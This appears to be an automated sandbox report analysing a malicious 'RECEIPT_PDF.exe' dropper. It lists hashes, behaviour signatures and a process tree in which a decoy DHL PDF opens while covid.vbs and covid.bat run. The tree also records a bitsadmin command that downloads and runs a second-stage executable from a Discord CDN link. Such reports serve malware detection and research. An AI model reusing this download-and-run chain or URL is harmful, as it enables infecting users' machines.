Analysis
- max time kernel
82s - max time network
145s - platform
windows10_x64 - resource
win10v20210408 - submitted
08/07/2021, 08:40
Static task
static1
Behavioral task
behavioral1
Sample
RECEIPT_PDF.exe
Resource
win7v20210410
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
RECEIPT_PDF.exe
Resource
win10v20210408
0 signatures
0 seconds
General
- Target RECEIPT_PDF.exe
- Size 382KB
- Sample210708-mprb5lkn62
- SHA256 a2fa84e5ecfde2e65cb13ae7b13be29c2bdca0b01e746cc6e015c92ed36c087a
- MD5 ab0cc6143bdee10292eca9fb74a153ea
- SHA1 d033676a11cba16ee1c7e687d4f9075aaa8e57d3
- SHA512 d2ba68581578f10b0a13c5490463cccc09b21f821b9458ac1a083ec33cb361da89bb850101fcb80bdbb3f0c0e55c543f0e55169f6e453640eb1d81845e2e2c5d
- MD5 SHA1 SHA512
Score
8/10
Malware Config
Signatures
- Downloads MZ/PE file
- Loads dropped DLL 1 IoCs
pid Process 4504 RECEIPT_pdf.exe - Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 4504 set thread context of 4540 4504 RECEIPT_pdf.exe 93 - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Program crash 1 IoCs
pid pid_target Process procid_target 4588 4540 WerFault.exe 93 - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 AcroRd32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz AcroRd32.exe - Download via BitsAdmin 1 TTPs 1 IoCs
pid Process 1220 bitsadmin.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION AcroRd32.exe - Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings RECEIPT_PDF.exe - Suspicious behavior: EnumeratesProcesses 18 IoCs
pid Process 3908 AcroRd32.exe 3908 AcroRd32.exe 3908 AcroRd32.exe 3908 AcroRd32.exe 3908 AcroRd32.exe 3908 AcroRd32.exe 3908 AcroRd32.exe 3908 AcroRd32.exe 3908 AcroRd32.exe 3908 AcroRd32.exe 3908 AcroRd32.exe 3908 AcroRd32.exe 3908 AcroRd32.exe 3908 AcroRd32.exe 3908 AcroRd32.exe 3908 AcroRd32.exe 3908 AcroRd32.exe 3908 AcroRd32.exe - Suspicious behavior: MapViewOfSection 1 IoCs
pid Process 4504 RECEIPT_pdf.exe - Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 3908 AcroRd32.exe - Suspicious use of SetWindowsHookEx 6 IoCs
pid Process 3908 AcroRd32.exe 3908 AcroRd32.exe 3908 AcroRd32.exe 3908 AcroRd32.exe 3908 AcroRd32.exe 3908 AcroRd32.exe - Suspicious use of UnmapMainImage 3 IoCs
pid Process 4540 RECEIPT_pdf.exe 4540 RECEIPT_pdf.exe 4540 RECEIPT_pdf.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 3628 wrote to memory of 3908 3628 RECEIPT_PDF.exe 75 PID 3628 wrote to memory of 3908 3628 RECEIPT_PDF.exe 75 PID 3628 wrote to memory of 3908 3628 RECEIPT_PDF.exe 75 PID 3628 wrote to memory of 200 3628 RECEIPT_PDF.exe 77 PID 3628 wrote to memory of 200 3628 RECEIPT_PDF.exe 77 PID 3628 wrote to memory of 200 3628 RECEIPT_PDF.exe 77 PID 200 wrote to memory of 2648 200 WScript.exe 78 PID 200 wrote to memory of 2648 200 WScript.exe 78 PID 200 wrote to memory of 2648 200 WScript.exe 78 PID 2648 wrote to memory of 1220 2648 cmd.exe 80 PID 2648 wrote to memory of 1220 2648 cmd.exe 80 PID 2648 wrote to memory of 1220 2648 cmd.exe 80 PID 3908 wrote to memory of 1532 3908 AcroRd32.exe 81 PID 3908 wrote to memory of 1532 3908 AcroRd32.exe 81 PID 3908 wrote to memory of 1532 3908 AcroRd32.exe 81 PID 3908 wrote to memory of 3596 3908 AcroRd32.exe 82 PID 3908 wrote to memory of 3596 3908 AcroRd32.exe 82 PID 3908 wrote to memory of 3596 3908 AcroRd32.exe 82 PID 1532 wrote to memory of 2728 1532 RdrCEF.exe 83 PID 1532 wrote to memory of 2728 1532 RdrCEF.exe 83 PID 1532 wrote to memory of 2728 1532 RdrCEF.exe 83 PID 1532 wrote to memory of 2728 1532 RdrCEF.exe 83 PID 1532 wrote to memory of 2728 1532 RdrCEF.exe 83 PID 1532 wrote to memory of 2728 1532 RdrCEF.exe 83 PID 1532 wrote to memory of 2728 1532 RdrCEF.exe 83 PID 1532 wrote to memory of 2728 1532 RdrCEF.exe 83 PID 1532 wrote to memory of 2728 1532 RdrCEF.exe 83 PID 1532 wrote to memory of 2728 1532 RdrCEF.exe 83 PID 1532 wrote to memory of 2728 1532 RdrCEF.exe 83 PID 1532 wrote to memory of 2728 1532 RdrCEF.exe 83 PID 1532 wrote to memory of 2728 1532 RdrCEF.exe 83 PID 1532 wrote to memory of 2728 1532 RdrCEF.exe 83 PID 1532 wrote to memory of 2728 1532 RdrCEF.exe 83 PID 1532 wrote to memory of 2728 1532 RdrCEF.exe 83 PID 1532 wrote to memory of 2728 1532 RdrCEF.exe 83 PID 1532 wrote to memory of 2728 1532 RdrCEF.exe 83 PID 1532 wrote to memory of 2728 1532 RdrCEF.exe 83 PID 1532 wrote to memory of 2728 1532 RdrCEF.exe 83 PID 1532 wrote to memory of 2728 1532 RdrCEF.exe 83 PID 1532 wrote to memory of 2728 1532 RdrCEF.exe 83 PID 1532 wrote to memory of 2728 1532 RdrCEF.exe 83 PID 1532 wrote to memory of 2728 1532 RdrCEF.exe 83 PID 1532 wrote to memory of 2728 1532 RdrCEF.exe 83 PID 1532 wrote to memory of 2728 1532 RdrCEF.exe 83 PID 1532 wrote to memory of 2728 1532 RdrCEF.exe 83 PID 1532 wrote to memory of 2728 1532 RdrCEF.exe 83 PID 1532 wrote to memory of 2728 1532 RdrCEF.exe 83 PID 1532 wrote to memory of 2728 1532 RdrCEF.exe 83 PID 1532 wrote to memory of 2728 1532 RdrCEF.exe 83 PID 1532 wrote to memory of 2728 1532 RdrCEF.exe 83 PID 1532 wrote to memory of 2728 1532 RdrCEF.exe 83 PID 1532 wrote to memory of 2728 1532 RdrCEF.exe 83 PID 1532 wrote to memory of 2728 1532 RdrCEF.exe 83 PID 1532 wrote to memory of 2728 1532 RdrCEF.exe 83 PID 1532 wrote to memory of 2728 1532 RdrCEF.exe 83 PID 1532 wrote to memory of 2728 1532 RdrCEF.exe 83 PID 1532 wrote to memory of 2728 1532 RdrCEF.exe 83 PID 1532 wrote to memory of 2728 1532 RdrCEF.exe 83 PID 1532 wrote to memory of 2728 1532 RdrCEF.exe 83 PID 1532 wrote to memory of 2288 1532 RdrCEF.exe 84 PID 1532 wrote to memory of 2288 1532 RdrCEF.exe 84 PID 1532 wrote to memory of 2288 1532 RdrCEF.exe 84 PID 1532 wrote to memory of 2288 1532 RdrCEF.exe 84 PID 1532 wrote to memory of 2288 1532 RdrCEF.exe 84
Processes
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C:\Users\Admin\AppData\Local\Temp\RECEIPT_PDF.exe"C:\Users\Admin\AppData\Local\Temp\RECEIPT_PDF.exe"1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3628 -
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Roaming\DHL.pdf"2⤵
- Checks processor information in registry
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3908 -
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=165140433⤵
- Suspicious use of WriteProcessMemory
PID:1532 -
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=5C5DBC2DC0D1CD13D424E7167B7B62B4 --mojo-platform-channel-handle=1636 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:24⤵PID:2728
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C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=4E4A9CF199FE8F4D12599D394EF35FCA --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=1 --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=4E4A9CF199FE8F4D12599D394EF35FCA --renderer-client-id=2 --mojo-platform-channel-handle=1676 --allow-no-sandbox-job /prefetch:14⤵PID:2288
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C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=AA6C6A7F300B062847B62D19E1BCFAC7 --mojo-platform-channel-handle=2208 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:24⤵PID:2204
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C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=8DF84A487184E7AE509D1B44B7EC2A4E --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=1 --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=8DF84A487184E7AE509D1B44B7EC2A4E --renderer-client-id=5 --mojo-platform-channel-handle=2220 --allow-no-sandbox-job /prefetch:14⤵PID:584
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C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=D09E1EF4FA2EB9A2883E7B6C29391AE3 --mojo-platform-channel-handle=2476 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:24⤵PID:4132
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C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=F438B461763DED80EE3D1CB9ED1A4728 --mojo-platform-channel-handle=2584 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:24⤵PID:4236
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C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=165140433⤵PID:3596
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\covid.vbs"2⤵
- Suspicious use of WriteProcessMemory
PID:200 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\covid.bat" "3⤵
- Suspicious use of WriteProcessMemory
PID:2648 -
C:\Windows\SysWOW64\bitsadmin.exebitsadmin /transfer covid https://cdn.discordapp.com/attachments/842158048058540076/862582631030587403/RECEIPT_pdf.exe C:\Users\Admin\AppData\Local\Temp\RECEIPT_pdf.exe4⤵
- Download via BitsAdmin
PID:1220
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C:\Users\Admin\AppData\Local\Temp\RECEIPT_pdf.exeC:\Users\Admin\AppData\Local\Temp\RECEIPT_pdf.exe4⤵
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
PID:4504 -
C:\Users\Admin\AppData\Local\Temp\RECEIPT_pdf.exeC:\Users\Admin\AppData\Local\Temp\RECEIPT_pdf.exe5⤵
- Suspicious use of UnmapMainImage
PID:4540 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4540 -s 246⤵
- Program crash
PID:4588
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